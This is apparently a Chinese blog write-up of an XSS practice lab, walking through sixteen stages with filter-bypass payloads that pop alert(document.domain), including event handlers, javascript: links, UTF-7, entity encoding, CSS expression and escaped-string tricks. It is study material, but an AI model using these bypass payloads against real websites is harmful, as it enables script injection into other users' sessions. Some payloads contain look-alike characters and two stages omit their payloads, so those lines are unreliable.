xss challenges

前言

考试周摆烂,被复习压得身心俱疲,做会靶场透透气,巩固下xss。这个靶场的要求就是注入alert(document.domain)

写在前面

地址:xss challenge
如果遇到需要使用IE的情况但是又没有对应版本,可以在控制台中直接执行alert(document.domain)跳关。

stage 1

Hint:very simple…

确实简单,没有做任何过滤,直接写入就可以了:

1
<script>alert(document.domain)</script>

stage 2

Hint: close the current tag and add SCRIPT tag…

如果不看提示的话去看源码也是可以发现注入时要记得闭合引号与标签:

1
<input type="text" name="p1" size="50" value="">

因此构建payload时要顺便闭合tag:

1
"><script>alert(document.domain)</script>

stage 3

Hint: The input in text box is properly escaped.

文本框中的输入已经正确转义,这告诉我们别想从文本框中进行注入,但是我们发现后面又多了一个选择框,那么我们可以进行抓包将xss语句写入p2中:

stage 4

Hint: invisible input field

隐藏的写入点,我们翻翻源码,发现居然藏了一个隐藏的p3注入点,或者直接抓包也可以看见这个注入点,直接在p3写入xss就行了。同样要注意闭合value,构建xss:

1
p1=1&p2=Japan&p3="><script>alert(document.domain)</script>

stage 5

Hint: length limited text box

限制了text的长度,这种题我们之前也有接触过。由于限制长度一般写在了前端,我们可以直接更改前端的JS绕过:

1
<input type="text" name="p1" maxlength="100" size="30" value="" >

然后写入xss就行了:

1
"><script>alert(document.domain)</script>

或者直接bp抓包提交也是可以的。

stage 6

Hint: event handler attributes

输入点仍是value,但是发现<>被html特殊字符替代,那么我们在这里考虑添加事件onclick,当按钮被点击时触发:

1
" onclick="alert(document.domain)"

stage 7

Hint: nearly the same… but a bit more tricky.

将第二关的payload写入发现整段payload都被包进了value当中,这是由于双引号被过滤了导致闭合不能成功。不过使用上一关的payload还是可行的:

1
" onclick=alert(document.domain);

当然用其他事件标签也是可以的:

1
" onmouseover=alert(document.domain) //鼠标指针指向指定内容时执行事件

stage 8

Hint: the ‘javascript’ scheme.

随便输入一个值,提交后查看源码:

发现这个值被包裹在了<a>中,那么我们只需要在标签中添加一个JavaScript伪链接并点击即可:

1
javascript:alert(document.domain)

stage 9

Hint: UTF-7 XSS

这关着实有点离谱,提示要我们将payload构造为utf-7编码同时过滤了<>,而这需要使用IE7浏览器,但是我没有,那就直接放个payload吧:

1
p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7

stage 10

Hint: s/domain//g;

同样先写入查看源码,发现domain被过滤了,直接双写绕过即可:

1
"><script>alert(document.dodomainmain)</script>

stage 11

Hint: “s/script/xscript/ig;” and “s/on[a-z]+=/onxxx=/ig;” and “s/style=/stxxx=/ig;” 

提示意味着script和onclick都被过滤了,这里我们用标签制作超链接,并且使用制表符(回车符、换行符等等不可见字符)来绕过正则匹配:

1
"><a href="javascr&#09;ipt:alert(document.domain);">gonext</a>

或者把s进行html实体化:

1
"><a href=java&#115;cript:alert(document.domain)>gonext</a>

stage 12

Hint: “s/[\x00-\x20<>"']//g;”

<>、双引号、空格都被过滤了,这里要利用IE浏览器的一个特性,IE浏览器会将两个反引号识别为双引号,因此我们构建payload:

stage 13

Hint: style attribute

这里要运用到css的知识以及IE8,因此没法直接演示,就大致讲下原理。由于在IE下能在CSS中运行JS代码,因此我们可以构建CSS代码并在其中写入js使IE执行xss。过滤了<>",payload如下:

1
2
xss:expression(alert(document.domain));
background:url(javascript:alert('xss'));

stage 14

Hint: s/(url|script|eval|expression)/xxx/ig;

同上一关,但是过滤了url``script``eval``expression四个关键字,这里直接使用注释符打断就可以了:

1
2
xss:expr\0ession(alert(document.domain));
xss:expr/**/ession(alert(document.domain));

stage 15

Hint: document.write();

这关直接过滤了document.write()\,转义了<>"&,双写反斜杠并且进行编码就可以绕过了,16进制、8进制、unicode编码等等都是可以的,构建payload:

1
2
3
十六进制: \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
八进制: \\74cscript\\76ealert(document.domain);\\74/script\\76
unicode: \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

stage 16

Hint: “document.write();” and “s/\x/\\x/ig;

\\x替换成了\\\\x,因此这里不能使用十六进制编码,因此使用上一关的八进制或者unicode编码都是可以的,这里换一种写法:

1
2
Unicode: \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
八进制: \\74img src=x οnerrοr=alert(document.domain)\\76

总结

由于这个环境太古老了,因此有些只能在IE上跑,而且有些xss已经有点过时了,不过有些思路还是值得学习的,之后会做新的xss题目来继续巩固。

先总结引号被过滤的几种情况:

  1. 添加属性(onmouseover或onmouseout事件等以及expression)触发弹窗
  2. "<>都被过滤时可以构造编码
  3. 利用IE浏览器反引号翻译成双引号的特性